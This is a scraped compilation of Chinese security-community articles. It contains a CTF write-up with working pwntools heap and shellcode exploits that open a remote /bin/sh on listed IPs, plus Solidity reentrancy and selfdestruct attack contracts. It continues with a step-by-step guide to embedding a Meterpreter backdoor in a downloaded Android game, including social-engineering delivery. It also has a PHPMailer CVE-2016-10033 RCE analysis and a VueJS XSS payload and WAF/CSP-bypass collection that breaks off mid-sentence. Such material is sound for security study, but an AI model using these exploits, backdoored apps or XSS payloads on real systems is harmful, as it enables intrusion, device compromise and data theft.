ida_dbg.run_requests()
* 得到num
* 字符串的加密与 num 无关（震惊），大概就是两次，每次都是异或加密，第一次加密后进行一次校验，校验成功后再加密第二次，第二次加密完之后又是校验，然后如果都正确的话就输出了flag
* 第一次
* 第二次
* 于是把密钥dump出来就完事，我这里是输入了17个a，然后dump出了密文，异或一下就得到了密钥
* 得到密钥后解密即可
def first():
block = b'99038198076198076198076198076198076'
cipher = []
for i in [0x6594D08, 0x273, 64]:
while i:
cipher.append(i & 0xff)
i >>= 8
for i in range(7):
a = block[i] ^ cipher[i]
print(chr(a), end='')
def second():
key = [129, 244, 219, 1, 168, 7, 75, 69, 211, 87]
for i in range(10):
key[i] ^= ord('a')
tmp = [0x545314AA3F8ED6B2, 0x6C6]
cipher = []
for i in tmp:
while i:
cipher.append(i & 0xff)
i >>= 8
for i in range(10):
a = key[i] ^ cipher[i]
print(chr(a), end='')
first()
second()
# 1ti5K3yRC4_crypt0
## Pwn
### AGame_给转账
题目比较简单，直接查链。
可以获得题目逻辑
def root(): # not payable
owner = caller
def _fallback(): # not payable, default function
revert
def unknownb8b8d35a(addr _param1): # not payable
require owner == _param1
require eth.balance(this.address) >= 10^15
call caller with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
require ext_call.success
stor1[_param1] = 1
看起来比较简单，成功条件是下面的函数调用成功，简单说就是unknown调用成功即可，首先需要有钱
以及是owner，那么就先selfdestruct一个过去强行转账，再加上一个 root()函数和下面函数调用即可。
PS：调大点GAS
pragma solidity ^0.4.23;
contract st{
constructor() payable{
}
function step1()public{
selfdestruct(0xb4D288dE112799141064CF2Af23ab33C074863D4);
}
}
contract hack{
address target=0xb4D288dE112799141064CF2Af23ab33C074863D4;
function step1()public{
address(target).call(bytes4(0xebf0c717));
address(target).call(bytes4(0xb8b8d35a),address(this));
}
function()payable{
assembly{
stop
}
}
}
### SafeContract
题目比较简单，主要是为了让
这里成功变成1
但是
那么就只需要观察这里的转账 发现肯定是可以打 重入的
那么基本就成了。
可以发现这几种函数，我们只需要：
* 先随便 deposit()一个
* 然后fallback()写不断withdraw的
* 最后调用withdraw()即可。
不过 withdraw中有几个限制，比如先打的钱要比后打的多。
只能打10次。注意调整数值即可。
就可以打通了。
### apollo
先泄露libc基址，malloc出8个0xa0大小堆块并free掉，再重新malloc出一个，show得到地址。
然后当赛道上某处值为2或3就可向下移动2行，这意味着可以溢出到下一块相邻堆块的size字段。只需要将size改大，free掉再重新malloc就能够修改后面第二块堆块的fd，改free_hook分配出来改system即可。
exp:
from pwn import *
context.log_level='debug'
def add(row,col,size):
payload=p8(42)+p8(row)+p8(col)+p8(size&0xff)+p8((size&0xff00)>>8)
return payload
def free(row,col):
payload=p8(47)+p8(row)+p8(col)
return payload
def set_path(row,col,num):
payload=p8(43)+p8(row)+p8(col)+p8(num)
return payload
def set_zero(row,col):
payload=p8(45)+p8(row)+p8(col)
return payload
def up():
payload=p8(119)
return payload
def down():
payload=p8(115)
return payload
def left():
payload=p8(97)
return payload
def right():
payload=p8(100)
return payload
def show():
payload=p8(112)
return payload
#sh=remote('127.0.0.1',23333)
sh=remote('8.140.179.11',13422)
payload=p8(77)+p8(0x10)+p8(0x10)
payload+=add(1,1,0x90)
payload+=add(1,2,0x30)
for i in range(7):
payload+=add(1,i+3,0x90)
payload+=add(1,10,0x30)+free(1,10)
for i in range(7):
payload+=free(1,i+3)
payload+=free(1,1)
payload+=add(1,1,0x90)
payload+=show()
payload+=set_path(0xf,8,2)
for i in range(6):
payload+=right()*0xf+left()*0xf
payload+=right()*3+left()*3
payload+=right()*8+left()*8
payload+=down()*4
payload+=right()*8
payload+=down()*0xb
payload+=free(1,1)+free(1,2)
payload+=add(1,1,0xd0)+add(1,2,0x30)+add(1,3,0x30)
payload+=add(1,11,0x40)+free(1,11)
sh.sendafter('cmd> ',payload)
pause()
sh.send('\x00'*0x90)
sh.send('\x00'*0x30)
for i in range(7):
sh.send('\x00'*0x90)
sh.send('\x00'*0x30)
sh.send('a')
sh.recvuntil('pos:1,1\n')
libc_base=u64(sh.recv(3).ljust(8,'\x00'))-0x15d861+0x4000000000
print(hex(libc_base))
free_hook=libc_base+0x156630
system_addr=libc_base+0x3F2C8
pause()
payload='\x00'*0x90+p64(0)+p64(0x41)+p64(free_hook)
sh.send(payload.ljust(0xd0,'\x00'))
sh.send('\x00'*0x30)
sh.send(p64(system_addr))
pause()
sh.send("/bin/sh\x00")
sh.interactive()
### quiet
用5和1的函数把shellcode写入，再用9跳转即可
exp:
#! python3
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './quiet'
ip = '8.140.179.11'
port = 51322
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
context(os='linux', arch='aarch64')
context.log_level = 'debug'
local = 0
if local == 1:
p = process(elf_path)
else:
p = remote(ip, port)
def debug(cmd):
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def chose(idx):
key = {0:8,
35:5,
40:0,
41:1,
42:2,
47:3,
64:4,
71:9,
91:6,
93:7}
for i in key:
if key[i] == idx:
return p8(i)
shellcode = asm(shellcraft.sh())
payload = b''
for i in range(len(shellcode)):
payload += chose(5)
payload += chose(1)
payload += chose(9)
p.sendafter('cmd> ', payload)
p.send(shellcode)
p.interactive()
p.close()
## Crypto
### cubic
得到六组解之后直接粘贴在nc上
def is_valid(x):
return (((3 - 12*N -4*N^2 - ((2*N + 5)*sqrt(4*N^2 + 4*N -15))) / 2) < x < -(2*(N + 3)*(N + sqrt(N^2 - 4)))) or \
((-2*(N + 3)*(N - sqrt(N^2 - 4))) < x < (-4*(N + 3)/(N + 2)))
N = 6
R.<x,y,z, nn,dd> = QQ[]
F = x*(z+x)*(x+y) + y*(y+z)*(x+y) + z*(z+x)*(z+y) - 6*(x+y)*(y+z)*(x+z)
E = EllipticCurve([0, 4*N^2 + 12*N - 3, 0, 32*(N + 3), 0])
a, b, c = -8, -7, 5
x = (-4*(a + b + 2*c)*(N + 3)) / ((2*a + 2*b - c) + (a + b)*N)
y = (4*(a - b)*(N + 3)*(2*N + 5)) / ((2*a + 2*b - c) + (a + b)*N)
P = S = E([x, y])
cnt = 1
while cnt < 7:
S = S + P
if is_valid(S[0][0]):
x = S[0][0]
y = S[1][0]
a, b, c = var('a, b, c')
aa = (8*(N + 3) - x + y) / (2*(4 - x)*(N + 3))
bb = (8*(N + 3) - x - y) / (2*(4 - x)*(N + 3))
cc = (-4*(N + 3) - (N + 2)*x) / ((4 - x)*(N + 3))
a, b, c = solve([a == aa * (a + b + c), b == bb * (a + b + c), c == cc * (a + b + c)], a, b, c)[0]
print('solution', cnt)
print('-' * 64)
cnt += 1
then_res = R(a(nn, dd))
a = abs(then_res.coefficients()[1].numerator())
print(a)
then_res = R(b(nn, dd))
b = abs(then_res.coefficients()[1].numerator())
print(b)
c = abs(then_res.coefficients()[1].denominator())
print(c)
print('-' * 64) | 社区文章 |
## 起因
* * *
移动无处不在。我们日常生活中的许多应用程序正在迁移到云部署，从而使前端技术重新回到轻量客户端的时代。当钟摆再次摆动时，我们的轻量客户端可以是任何形式，从JavaScript浏览器框架到支持移动设备的前端，例如Apple
iOS上的Objective-C，或基于Android的Java。
我们来把眼光放到恶意软件，我们在Apple的5人团队继续维持的安全范例，试图审查进入iOS应用程序商店的所有应用程序。尽管这是一项高消耗的工作，但仍然存在恶意软件通过审核的情况。与Apple不同，Android市场是一种开放的方式，允许任何人为游戏商店做出贡献，而且占据了移动市场份额的大部分。此外，还有各种第三方网站可以直接下载Android应用程序包文件（APK）。
## 准备
Metasploit项目允许测试人员使用功能非常强大的meterpreter命令通道生成Android有效负载，该通道可以加载到Android设备上。通常，加载此APK将通过侧面加载通过Android调试器“adb”。从笔测试者的角度来看，有趣的事情是将合法（有趣）的应用程序与Meterpreter相结合，并将该应用程序侧载到Android设备上。当然，您可能会考虑将该设备作为礼物或类似的社会工程诡计发送给“朋友”。
Android应用程序是用Java编写的，它编译成称为DEX的可执行格式。应用程序的编译版本是DEX字节码文件的ZIP文件。Android上的虚拟机最近被Android
RunTime（ART）取代，后者执行额外的优化并将DEX字节码编译为本机汇编代码。Dalvik
VM主要执行大部分字节码的即时（JIT）解释。ART比Dalvik虚拟机具有更高的性能，Dalvik虚拟机仅优化应用程序的频繁执行部分的字节码部分
Smali / baksmali是Android DEX字节码的汇编程序/反汇编程序。一个名为“ apktool ”
的Android工具可以将压缩的DEX（APK文件）反汇编成smali文件，并将smali文件重新组合回DEX，然后重新组合为压缩的APK格式。我们可以使用此工具来反汇编和修改现有的APK文件。在这种情况下，我们可以使用该工具进行反汇编，并在初始Android
Activity的smali代码中添加一个额外的 静态入口点，以启动我们的Meterpreter。
## 总结步骤
总的来说，将Meterpreter嵌入现有APK文件的步骤如下：
* 1.在“apkmonk.com”或类似的镜像站点上查找现有的有趣APK应用程序。
* 2.生成Metasploit APK文件。
* 3.用“apktool”反汇编Metasploit APK文件，以及我们打算修改的APK文件。
* 4.将所有Meterpreter smali代码复制到新的APK smali目录。
* 5.通过查找具有以下行的intent-filter，在APK应用程序的AndroidManifest.xml文件中找到代码的入口点 ：
`<action android:name="android.intent.action.MAIN"/>`
包含此intent-filter的活动名称将是您要搜索的入口点。
* 6.修改活动“.smali”文件以包含启动Meterpreter阶段的行。
* 7.将Meterpreter AndroidManifest.xml中的所有Meterpreter权限复制到修改后的APK的- AndroidManifest.xml中。
* 8.重新组装成DEX压缩格式生成APK。
* 9.使用“jarsigner”为新创建的APK文件签名，然后将其加载到目标Android设备上。
## 例子
### 0x01下载APK
用一个具体的例子会使得上述步骤要容易理解的得多。为了说明这一点，我从apkmonk.com下载了一个名为Cowboy Shooting
Game的游戏的APK文件。
### 0x02 生成恶意软件APK
然后，我使用“msfvenom”命令生成Metasploit APK，如下所示。
### 0x03反汇编APK文件
然后使用“apktool” 对这两个文件进行反汇编(baksmaling !!!)，如下所示：
### 0x04 将恶意软件代码复制到APK游戏中
一个简单的方法是将目录更改为Metasploit
APK目录，然后将“smali”目录下的所有文件复制到“com.CowboyShootingGames_2018-09-22”目录中。我从系统管理员那里学到的使用“tar”命令备份整个目录树的技巧很方便，你可以将tar的输出传输到第二个命令，该命令改变目录并“解压缩”生成的文件。
### 0x05 找到Activity EntryPoint
下面我们可以看到输入活动被列为“com.CowboyShootingGames.MainActivity”。我们知道这一点，因为XML中包含一个带有“android.intent.action.MAIN”的intent-filter。
### 0x06 修改Activity EntryPoint Smali文件
从上面可以看出，在这种情况下，文件将被命名为“MainActivity.smali”，并且将根据完全限定类路径中的句点(".")位于“ com /
CowboyShootingGames ”目录中。
在“MainActivity.smali”文件中，我们正在寻找“onCreate()”方法。
我们需要在“onCreate()”方法调用的正下方添加一行“smali”代码来调用我们的Meterpreter阶段。
`invoke-static {p0},
Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V`
请注意，以上是一行代码。可以使用与“com/metasploit/stage/Payload”不同的路径名来进行模糊处理，但是如果这样做，则必须修改payload中包含的所有“smali”文件中对路径的所有引用。目录，并更改目录名称本身。这可以手动完成，但容易出错。在没有任何混淆的情况下继续进行，修改后的最终结果将如下面的屏幕截图所示。
### 0x07 向修改的APK“AndroidManifest.xml”文件添加权限
对于下一步，使用“grep”搜索Metasploit“AndroidManfest.xml”文件中包含字符串“uses-permission”和“uses-feature”到修改后的APK的AndroidManiest.xml文件中的所有行。
您需要使用编辑器在新的“AndroidManifest.xml”文件中的适当位置插入权限。搜索现有的“use-permission”行作为插入文本的位置的指导。
您最终可能会获得一些重复的权限。您可以选择删除它们，它确实无关紧要。
### 0x08 构建新的APK包文件
现在 再次使用“ apktool” 重新组合生成的APK包文件。最终结果将写入APK目录本身的“dist”目录中。
### 0x09 重新签名生成的包文件
对于签名，一种简单的方法是使用安装Android
studio时构建的Android调试密钥库。调试密钥库将包含在UN*X系统上主目录中的“.android”隐藏目录中。
另一种方法是使用Java“keytool”生成您自己的自签名密钥库，并使用“jarsigner”工具对其进行签名，如下面的屏幕截图所示。
此时，“ final.apk ”文件已准备好使用“adb”加载到Android系统上。
在这个特定的情况下，我正在运行“GenyMotion”的副本，这是一个基于x86的模拟器，它使用VirtualBox进行非常高性能的Android模拟。您可能会遇到的挑战之一是x86仿真本身不支持ARM处理器。为了应对这一挑战，可以在线获得一些ARM翻译库。您需要搜索“
Genymotion-ARM-Translation_v1.1.zip ”，然后将ZIP文件拖到正在运行的GenyMotion
Android系统上。不幸的是，这不是100％可靠，并且仍可能导致一些应用程序崩溃。
确保ARM APK文件在设备上运行的一种方法是直接使用硬件设备。我发现Nexus
6系列设备非常适合使用，因为“ROOT”套件相当可靠，并且通过USB电缆连接进行测试并不是太麻烦。
最后一步当然是尝试我们新感染的游戏。我们很快发现，在我们推出游戏的那一刻，我们在KALI系统上获得了一个Meterpreter
session，感觉非常好用。
我真的不认为我会花时间学习这个游戏，坦率地说只是从“apkmonk.com”的随便下了一个游戏。
## 如此多的复杂步骤,这么多都可能出错......
因此，在执行了上述所有必要步骤后，我立即感到沮丧。有这么多活动部件，错误的可能性非常高。可能还有其他工具可供使用但我决定使用快速的Python脚本来自动执行此过程。我称它为“android_embedit.py”，我现在会警告你，这是一项快速而好用的努力，无需花费太多精力来加强逻辑，就可以完成植入APK工作。
“android_embedit.py”的思路是，如果您提供Metasploit生成的APK文件，要修改的原始APK和密钥库，它将以自动方式执行所有步骤并为您生成结果。
以下是运行该工具的示例。所有临时文件和输出都将存储在“〜/ .ae”目录中。
该工具还将删除“metasploit”目录名称，并自动使用随机字符串目录名称对其进行模糊处理。您可以在下面的屏幕截图中看到此结果，其中列出了APK“smali/com”目录的内容。名为“
dbarpubw ”的目录实际上包含Metasploit stager代码。
对于移动应用程序及其相关的应用程序编程接口来说，有很多持续的乐趣。作为一个安全测试人员熟悉这些平台是一个好主意，因为不久之后你肯定会遇到在移动领域进行测试的需要。
## re
<https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/> | 社区文章 |
# 【漏洞分析】CVE-2016-10033：PHPMailer远程代码执行漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.fortinet.com
原文地址：<https://blog.fortinet.com/2017/01/05/analysis-of-phpmailer-remote-code-execution-vulnerability-cve-2016-10033>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：70RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
PHP是一种开源的脚本语言，被用来嵌入HTML做Web开发。它有9百万用户，并且被许多流行的工具使用，例如WordPress、Drupal、Joomla!等。这周一个高危安全更新用来解决PHPMailer的远程代码执行漏洞CVE-2016-10033。它是PHP网站发送邮件的一个库。
这个致命的漏洞是由class.phpmailer.php没有正确处理用户的请求导致的。结果远程攻击者能够在有弱点的服务器上远程执行代码。
这个漏洞影响了5.2.18版本之前的PHPMailer。
**0x01 分析**
当用PHPMailer发送一个邮件时，正常的处理是：
1\. PHPMailer获取用户请求
2\. PHPMailer校验用户提交的数据
3\. PHPMailer传递数据到PHP的mail()函数发送邮件。
在这个校验的步骤中，PHPMailer校验用户数据代码如下：
这个校验使用标准的校验方法，如PHP内置的FILTER_VALIDATE_EMAIL和html5默认的邮件类型模式匹配。
在这个例子中$address的值“attacker -InjectedParam
@example.com”将被拒绝。但是这些方法遵循RFC3696协议，意味着邮件地址能够包含用引号括起来的空格，因此$address ["attacker
-InjectedParam"@example.com](mailto:%22attacker%20-InjectedParam%[email protected])将绕过过滤。
校验完成之后，PHPMailer将传递邮件收件人地址，主题，正文，头和发件人地址都PHP的mail()函数继而发送邮件。代码如下。
问题就在这儿，PHPMailer不能在传递他们到mail()之前纠正这些邮件数据。它只是返回：
然后传递$result到mail()函数。这个问题导致攻击。
例如，当用面地址发送：
mail()函数将以4个参数执行/usr/bin/sendmail，“/usr/bin/sendmail”, “-t”, “-i” 和
“-fattacker [email protected]”。
然而，攻击者能够通过注入一个“"”.比如用如下地址：
这个邮件地址这个发送邮件的函数将执行6个参数，“/usr/bin/sendmail”, “-t”, “-i”, “-fattacker”,
“-InjectedParam1” 和 “-InjectedParam2"@example.com”。
**0x02 如何重现**
为了重现攻击，我建了个网站服务器如下：
源码如下：
这个表单类似网站反馈功能。攻击者能够利用一个恶意的邮件地址发送邮件：
PHP代码填充到Name和Message如下：
在发送邮件之前，web服务根目录文件如下图。这个index.php是网页代码“vulnerable”包含PHPMailer文件。
Payload被发送如下图：
在发送攻击邮件后，一个新的文件“test.php”被创建了。它包含发送的邮件的原始数据，并包含我们的PHP代码段：
然后我们能访问我们的test.php文件并执行命令。如下图我们执行了“cat /etc/passwd”：
真实的攻击可能是上传一个攻击代码的文件。这意味着攻击者能够通过邮件发送恶意代码到服务器上，然后远程执行。
**0x05 解决方案**
所有PHPMailer的用户应该立刻升级到最新版本。 | 社区文章 |
作者：[Gareth Heyes](https://portswigger.net/research/gareth-heyes)
原文地址：<https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets>
## 介紹
我们发现，流行的JavaScript框架VueJS提供了对网站安全有严重影响的功能。如果您遇到使用Vue的Web应用程序，本篇文章将帮助您理解由脚本小工具创建的Vue特定XSS向量，您可以使用这些脚本小工具来利用目标。
脚本小工具是一些由框架创建的额外功能，可以导致JavaScript执行。这些功能可以是JavaScript或基于HTML的。gadgets脚本通常对绕过WAF和CSP等防御措施很有用。从开发者的角度来看，了解一个框架或库创建的所有脚本小工具也是很有用的；当允许用户在自己的Web应用程序中输入时，这些知识可以帮助防止XSS漏洞。在本篇文章中，我们将涵盖从基于表达式的向量到突变XSS（mXSS）等多种技术。
### 注意
这里有很多信息!如果你对学习攻击框架感兴趣，你可能会想读完全部内容。但如果你遇到了特定的场景，只是需要一个解决它的向量，你可以直接跳到我们[XSS
Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)中新更新的VueJS部分。
在这篇文章中，我们将涵盖:
1.指令
2.缩短payload
3.事件
4.突变
5.适用V3的payload
6.传送
7.使用案例
## 一切都是从哪里开始的？
在[推特](https://twitter.com/PortSwiggerRes/status/1265647826383634432?s=20)上讨论各种
VueJS 攻击的时候，我、[Lewis Ardern](https://twitter.com/LewisArdern) 和
[PwnFunction](https://twitter.com/PwnFunction)
决定创建一篇博文来更详细地介绍它们。我们的合作非常有趣，并想出了一些有趣的向量。这一切都始于尝试缩减以下[VueJS
XSS向量](https://tinyurl.com/y4ld6a99)。
{ {toString().constructor.constructor('alert(1)')()} }
为了解决如何缩减它，我们需要看看我们的向量是如何被转换的。我们查看VueJS源码，搜索Function构造函数的调用。有些情况下，Function构造函数被调用了，但创建的函数却没有。我们跳过了这些实例，因为我们确信这不是我们的代码被转换的地方。[在第11648行，我们最终找到了一个调用生成函数的Function构造函数](https://github.com/vuejs/vue/blob/6fe07ebf5ab3fea1860c59fe7cdd2ec1b760f9b0/src/compiler/to-function.js#L14)。
return new Function(code)
我们在这一行添加了一个断点，并刷新了页面。然后我们检查了代码变量的内容，果然，我们可以看到我们的向量。代码在一个with语句中，后面是一个return语句。因此，执行代码的范围是在with语句中指定的对象内。基本上，这意味着没有全局的alert()函数，但在with作用域内，有VueJS函数，如_c、_v和_s。
如果我们使用这些函数，我们就可以减少表达式的大小。这个函数的构造函数将是Function构造函数，它允许我们执行代码。这意味着我们可以将向量减少到。
{ {_c.constructor('alert(1)')()} }
### 调试VueJS
在我们继续之前，也许应该先快速了解一下我们使用的调试工具。
[Vue Devtools](https://github.com/vuejs/vue-devtools)。官方的浏览器扩展，可以用来调试用VueJS构建的应用。
[Vue-template-compiler](https://www.npmjs.com/package/vue-template-compiler)。将模板编译成渲染函数，这可以帮助我们看到Vue内部如何表示模板。这个工具有一个方便的在线版本，叫做[template-explorer](https://template-explorer.vuejs.org/)。
我们还不时地重写VueJS原型，添加日志等功能，以便我们可以看到内部发生的事情。
## VueJS第2版
### 指令
就像其他框架一样，VueJS中的一些指令让我们的生活变得更轻松.几乎每一个VueJS指令都可以作为一个gadgets来利用。让我们来看一个例子。
#### v-show指令
<p v-show="_c.constructor`alert(1)`()">
这是一段比较简单的代码。有一个叫做v-show的指令，用来根据逻辑条件从DOM中显示或隐藏一个元素。在这种情况下，条件就是向量。
这个非常相同的向量可以应用于其他指令，包括v-for、v-model、v-on等。
#### v-on指令
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
#### v-bind 指令
<x v-bind:a='_b.constructor`alert(1)`()'>
这些gadgets的多样性可以帮助你创建灵活的向量，可以很容易地用于绕过WAFs。
### 最小化向量
最小化向量--也被称为 "代码高尔夫"--意味着找到用尽可能少的字符或字节达到同样结果的方法。我们最初假设最短的向量是模板表达式，这意味着我们必须使用4个字节来添加所需的大括号{ { }
}。然而，这个假设被证明是错误的。
我们花了大量的时间调试、查看源代码和阅读文档。我们找不到任何通过模板缩短矢量的方法，于是我们开始研究标签。
我们从35个字节开始，最终向上爬。但在这个过程中，通过使用VueJS解析器的怪癖，我们发现了一些非常有趣的向量。
<x @[_b.constructor`alert(1)`()]> (35 bytes)
<x :[_b.constructor`alert(1)`()]> (33 bytes)
<p v-=_c.constructor`alert(1)`()> (33 bytes)
<x #[_c.constructor`alert(1)`()]> (33 bytes)
<p :=_c.constructor`alert(1)`()> (32 bytes)
但更短的还是模板向量。
{ {_c.constructor('alert(1)')()} } (32 bytes)
{ {_b.constructor`alert(1)`()} } (30 bytes)
在尝试了无数种方法来编写高尔夫代码，只是为了能让它在30个字节以内，我们最终在[Vue
API](https://vuejs.org/v2/api/#is)中遇到了[动态组件](https://vuejs.org/v2/guide/components.html#Dynamic-Components)。
动态组件本质上是可以在稍后的时间点改变为不同的组件。这是通过使用标签上的is属性实现的。考虑下面的例子。
<x v-bind:is="'script'" src="//14.rs" />
这可以缩短为：
<x is=script src=//⑭.₨>
现在只有23个字节了！这是我们在整个研究过程中能想到的VueJS v2最短的向量。这是我们在整个研究过程中能想到的VueJS v2最短的向量。
### 事件
就像AngularJS一样，VueJS定义了一个名为$event的特殊对象，它引用了浏览器中的事件对象。使用这个$event对象，你可以访问浏览器窗口对象，允许你调用任何你喜欢的东西。
<img src @error="e=$event.path;e[e.length-1].alert(1)">
<img src @error="e=$event.path.pop().alert(1)">
我们确定@error会执行表达式，由于VueJS提供了[速记语法](https://vuejs.org/v2/guide/syntax.html#v-on-Shorthand)，这使得你可以用@代替使用v-on指令为错误或点击等事件的处理程序打前缀。文档中还透露，你可以[使用$event变量](https://vuejs.org/v2/guide/events.html#Methods-in-Inline-Handlers)来访问原始DOM事件。
这些向量的工作得益于Chrome在事件执行时定义的一个特殊路径属性。这个属性包含一个触发事件的对象数组。对我们来说至关重要的是，窗口对象总是这个数组中的最后一个元素。composedPath()函数会在其他浏览器中生成一个类似的数组，这使得我们可以构建一个跨浏览器向量，如下所示。
<img src @error="e=$event.composedPath().pop().alert(1)">
然后我们开始研究如何减少基于事件的向量，并注意到VueJS中一些有趣的行为。VueJS生成的重写代码使用了这一点，并没有使用严格模式。因此，当使用一个函数时，这指的是窗口对象，允许一个更短的向量。
<img src @error=this.alert(1)>
这个概念也可以不使用事件来证明。
{ {-function(){this.alert(1)}()} }
由于注入的函数继承了全局对象window，当在一个函数内部时，它指向window对象。
我们设法通过使用SVG标签和加载事件来进一步减少基于事件的向量。
<svg @load=this.alert(1)>
一开始，我们认为这已经是最小的可能了。但后来我们有了一个想法--如果VueJS在解析这些特殊事件时，也许它允许做一些普通HTML不允许做的事情。当然，它是允许的。
<svg@load=this.alert(1)>
### 沉默的水槽
默认情况下，当AngularJS（版本1）和VueJS等框架渲染页面时，它们不会执行超前（AoT）完成。这个怪癖意味着，如果你能够在使用该框架的模板内注入，你可能会偷偷插入自己的任意有效载荷，并将其执行。
当一个应用程序已经部分重构为使用新的框架，但仍然包含依赖于额外第三方库的遗留代码时，这有时会导致问题。一个很好的例子是VueJS和JQuery。JQuery库暴露了各种方法，比如[text()](https://api.jquery.com/text/)。就其本身而言，这对XSS是相对安全的，因为它的输出是HTML编码的。然而，当你将其与一个使用Mustache风格的模板语法（如{
{ } }）的框架结合起来时，再加上一个只执行文本操作的方法，如$('#message').text(userInput)，这可能会导致一个 "沉默
"的水槽。这是一个有趣的攻击向量，因为你在一般被认为是安全的方法中引入了一个新的漏洞。例如，在这个[fiddle](https://jsfiddle.net/4r02y3qa/)中，注意到只有第二个payload被执行。
$('#message').text("'><script>alert(1)<\/script>'");
$('#message1').text("{ {_c.constructor('alert(2)')()} }")
## 突变XSS
然后，我们开始研究突变XSS（[mXSS](https://portswigger.net/research/mxss)）向量，以及如何使用VueJS来引起它们。传统上，mXSS向量需要在DOM中进行修改才能突变，反射输入通常不会突变，因为DOM在被注入后没有被修改。然而，在VueJS的情况下，表达式和HTML会被解析并随后被修改，这意味着DOM的修改确实会发生。因此，被HTML过滤器过滤的反射输入会变成mXSS!
我们发现的第一个突变是由VueJS解析属性的方式引起的。如果你在属性名中使用引号，VueJS就会感到困惑，解码属性值，然后删除无效的属性名。这将导致mXSS，[并渲染iframe](https://tinyurl.com/y5td3zjh)。
输入：
<x title"="<iframe onload =alert(1)>">
输出：
"="<iframe onload="alert(1)">"></iframe>
当从一个相对的URL引用VueJS时，这个方法是可行的，但是当使用unpkg.com域来服务JS时，会返回一个403的结果，因为服务器使用Cloudflare，而Cloudflare会因为referrer中的向量而阻止这个请求。我们通过一些小技巧就能绕过这个问题。
<a href="https://portswigger-labs.net/xss/vuejs.php?x=%3Cx%20title%22=%22%26lt;iframe%26Tab;onload%26Tab;=setTimeout(top.name)%26gt;%22%3E" target=alert(1337)>test</a>
我们使用htmlentities欺骗Cloudflare
WAF允许onload事件，然后使用setTimeout()，将窗口名称传递给它并执行，然后。后来，我们发现，你可以[简化bypass](https://tinyurl.com/y6rqccky)如下。
<x title"="<iframe onload =setTimeout(/alert(1)/.source)>">
我们还对更多的突变进行了摸索，发现以下例子也发生了突变。
<x < x="<iframe onload=alert(0)>">
<x = x="<iframe onload=alert(0)>">
<x ' x="<iframe onload=alert(0)>">
进一步的实验发现了其他的mXSS行为。通常情况下，模板标签内的标签不会被渲染。然而，事实证明，VueJS删除了<
template>标签，同时留下了里面的标签。剩下的标签就会被渲染。
输入：
<template><iframe></iframe></template>
在开发工具控制台输入这个。
document.body.innerHTML+=''
输出：
<iframe></iframe>
由于VueJS正在删除< template>标签，我们想知道是否可以利用这个标签来引起突变。我们将<
template>标签放置在另一个标签中，并[惊讶地看到这种突变](https://tinyurl.com/yyyl4nbb)。
输入：
<xmp><<template></template>/xmp><<template></template>iframe></xmp>
在开发工具控制台输入这个。
document.body.innerHTML+=''
输出：
<xmp></xmp><iframe></xmp>
我们还发现，< noscript>也会随着DOM的操作而变异。
<noscript></noscript><iframe></noscript>
在开发工具控制台输入这个。
document.body.innerHTML+=''
这一点甚至适用于XMP。
输入：
<xmp></xmp><iframe></xmp>
在开发工具控制台输入这个。
document.body.innerHTML+=''
我们最终发现，这些突变也可以通过< noframes>、< noembed>和<
iframe>元素实现。这很有趣，但我们真正需要的是一种通过VueJS来实现突变的方法，而不需要任何手动的DOM操作。在我们寻找突变的过程中，我们意识到VueJS会使HTML发生突变。我们想出了一个简单的测试来证明这一点。通常情况下，如果你把一个标签放在另一个标签中，只有第一个标签会被渲染，因为没有为第二个标签找到收尾>。另一方面，VueJS实际上会[为你突变并删除第一个标签](https://tinyurl.com/y2t6dcfr)。
输入：
<xyz<img/src onerror=alert(1)>>
输出：
<img src="" onerror="alert(1)">>
接下来，我们需要创建一个矢量，在变异后变得危险之前，绕过HTML过滤器。经过许多小时的尝试，我们发现，如果你使用多个SVG标签，会导致DOM被VueJS修改。这就造成了突变，[把反射的XSS变成了mXSS](https://tinyurl.com/y5necds9)。
输入：
<svg><svg><b><noscript></noscript><iframe onload=alert(1)></noscript></b></svg>
输出：
<p><svg><svg></svg></svg><b><noscript></noscript><iframe onload="alert(1)"></iframe></b></p>
最后，这里有另一个突变并[绕过Cloudflare WAF的PoC](https://tinyurl.com/y6mon9pr)。
输入：
<svg><svg><b><noscript></noscript><iframe onload=setTimeout(/alert(1)/.source)></noscript></b></svg>
输出：
<svg><svg></svg></svg><b><noscript></noscript><iframe onload="setTimeout(/alert(1)/.source)"></iframe></b>
### 突变和CSP
我们注意到，当CSP被启用时，突变并没有工作，这是因为它们包含了正常的DOM事件处理程序，而它们被CSP阻止了。这是因为它们包含了正常的DOM事件处理程序，它们被CSP阻止了。但是我们有一个想法
--如果我们在突变的HTML中注入VueJS的特殊事件会怎样？这将由VueJS渲染，执行我们的代码和自定义事件处理程序，从而绕过CSP。我们不确定突变后的DOM是否会执行这些处理程序，但是，令我们高兴的是，它确实执行了。
首先，我们将突变向量注入图像，并使用VueJS
@error事件处理程序。当DOM被突变时，图像会和@error处理程序一起呈现。然后，我们使用特殊的$event对象来获取对window的引用，并执行我们的alert()。
输入。
<svg><svg><b><noscript></noscript><img/src/ @error=$event.path.pop().alert(1)></noscript></b></svg>
输出：
<p><svg><svg></svg></svg><b><noscript></noscript><img src=""></b></p>
突变后的DOM不会显示@error事件，但它仍然会执行。你可以在下面的例子中看到这一点。
[启用CSP的mXSS](https://u.nu/sb2ii)
本节中的突变向量也将在第3版中工作。
[POC](https://u.nu/zfyks)
## 改编VueJS 3的payload。
当我们正在进行这项研究时，VueJS
